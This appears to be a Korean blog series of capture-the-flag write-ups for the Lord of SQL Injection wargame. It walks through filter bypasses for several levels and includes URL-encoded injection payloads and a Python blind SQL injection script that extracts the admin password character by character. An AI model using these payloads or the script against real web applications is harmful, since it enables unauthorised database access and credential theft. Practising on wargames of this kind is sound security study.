1. 문제 지문

2. 요약

  • prob, 언더바(_), 점(.), 소괄호 필터링
  • or, and, substr( 필터링
  • 입력한 pw, admin 패스워드, DB에서 반환한 admin 패스워드가 일치하면 클리어
 

3. 문제 풀이

이전 orge문제에서 substr 필터링만 추가된 문제이다.
substr 함수는 문자열에서 특정 위치부터 원하는 문자만큼 출력하는 함수이다.
  • substr(문자열 ,시작위치, 출력할 크기) 

 

즉, substr 함수를 통해 사용했던 Blind SQL Injcetion이 안 된다는 것이다.
 
 

🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔🤔

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (10) skeleton  (0) 2021.07.11
LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (06) darkelf  (0) 2019.07.09

1. 문제 지문

2. 요약

  • prob, 언더바(_), 점(.), 소괄호 필터링
  • 입력한 값과 DB에서 반환된 값이 'admin'일 경우 클리어

 

3. 문제 풀이

쿼리가 살짝 거창해 보이는데 별거 없다.

guest의 패스워드는 거짓으로 입력하고, id에 'admin'을 추가하여 입력하면 클리어 된다.

더보기

select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0

https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw=' or id='admin'%23

('#'은 '%23'으로 변환시켜서 공격)

클리어

 

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (11) golem (풀이 중)  (0) 2022.03.12
LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (06) darkelf  (0) 2019.07.09

1. 문제 지문

2. 요약

  • 쿼터(') 필터링
  • str_replace 함수를 통해 입력한 값 중 'admin'을 공백으로 치환
  • 입력한 값과 DB에서 반환된 값이 'admin'일 경우 클리어

 

3. 문제 풀이

힌트로는 요약에 2번째 필터링이 아닌 '치환'이다.

치환은 1번만 일어나기 때문에 admin을 일부러 치환시키게 만들면 해결된다.

 

입력값으로는 'adadminmin'을 주었다.

클리어

 

물론 'aadmindmin', 'admadminin' 등 admin만 가운데 아무위치에 넣어주면 된다.

 

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (11) golem (풀이 중)  (0) 2022.03.12
LOS 풀이 - (10) skeleton  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (06) darkelf  (0) 2019.07.09

에버노트에 기록해놓고, 업로드를 하지 않아서 지금이라도 업로드 함

 

1. 문제 지문

 

2. 요약

  • 쿼터(') 필터링
  • ereg 함수를 통해 입력한 값 중 'admin' 필터링
  • 입력한 값과 DB에서 반환된 값이 'admin'일 경우 클리어

 

3. 문제 풀이

ereg 함수는 eregi 함수와 다르게 대소문자를 구별하며 필터링을 한다.

ereg 대소문자 구분함
eregi 대소문자 구분 안함

또한 MySQL은 대소문자 구분이 없다. (대소문자 구분하려면 BINARY 절 추가하면 된다.)

그래서 'admin'대신 'Admin', 'AdMiN', 'ADMIN' 등 원하는 거 아무거나 입력하면 클리어 된다.

클리어

 

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (10) skeleton  (0) 2021.07.11
LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (07) orge  (0) 2019.07.09
LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
1. 문제 지문


2. 요약
  • 일부 문자와 or, and 문자열 필터링
  • 두 개의 쿼리에 동시에 입력 값(pw) 전달
  • 입력한 값과 결과로 나온 DB 결과가 모두 일치해야 문제가 풀림

3. 풀이
이전 Orc 문제와 비슷하게, Blind SQL Injection으로 admin의 패스워드를 찾아낸 후 정확한 패스워드를 입력해야 하는 문제로 생각되었다.

우선 Hello admin부터 띄워보았다.
select id from prob_orge where id='guest' and pw='-1' || id='admin'#
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%23



admin의 패스워드 길이 확인
select id from prob_orge where id='guest' and pw='-1' || id='admin' && length(pw)=8#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20length(pw)=8%23
참고로 and도 필터링이 되어 있기 때문에 '&&'로 대체해서 보내야 한다.
하지만 '&'기호는 GET방식으로 전달되지 않는다는 특징이 있기 때문에 URL인코딩 값인 '%26'으로 변환하여 보낸다.
  • 우회 문자
    • or → ||
    • and → && → %26%26
    • # → %23

Blind SQL Injection 코드 작성 및 공격
Blind SQL Injection을 위한 코드를 준비한다.
(Orc 문제 풀이에 사용한 코드 재활용)
#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests


password=""


for j in range(1,9):  # 1~8자리 패스워드를 찾아야함
  print "%d" %j       # 현재 몇번째 인지 표시
  for i in range(48,128): # 대부분의 글자들 다 찾아내기
    try:  # 시작!
      url="https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1' || id='admin'" + " %26" + "%26 " + "substr(pw," + str(j) + ",1)='" + chr(i)
      r = requests.post(url,cookies=(dict(PHPSESSID="자신의 세션 ID"))) # 자신의 Session ID를 넣어야함.
      print str(j)+"번째 찾는 중 : "+chr(i) # 대략적인 현재 위치를 확인하기 위함
    except:
      print "Error"
      continue
    if 'Hello admin' in r.text:
      password = password + chr(i)
      print "[+]Password : " + password
      break
그리고 공격

'6C864DEC'출력

공격할 URL 작성
select id from prob_orge where id='guest' and pw='-1' || id='admin' && pw='6c864dec'#'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=-1%27%20||%20id=%27admin%27%20%26%26%20pw=%276c864dec%27%23

그러나...

공격에 성공하지 않았다. 저번 Orc 문제와 동일하게 대문자를 소문자로 바꿔서 했는데도 공격이 성공하질 않았다.

그 이유가

위의 두 번째 문단의 코드를 간과했기 때문이다.

즉, 첫 번째 문단의 코드에서는 id가 guest인 상태에서 pw를 입력 받았으나
두 번째 문단의 코드에서는 id가 admin인 상태에서 pw만 받는 것이였다.

그렇다면, pw만 입력하면 클리어되므로,
select id from prob_orge where id='guest' and pw='6c864dec'
https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=6c864dec

클리어

'Web > LOS' 카테고리의 다른 글

LOS 풀이 - (09) vampire  (0) 2021.07.11
LOS 풀이 - (08) troll  (0) 2021.07.11
LOS 풀이 - (06) darkelf  (0) 2019.07.09
LOS 풀이 - (05) wolfman  (0) 2019.07.09
LOS 풀이 - (04) Orc  (0) 2019.07.09

+ Recent posts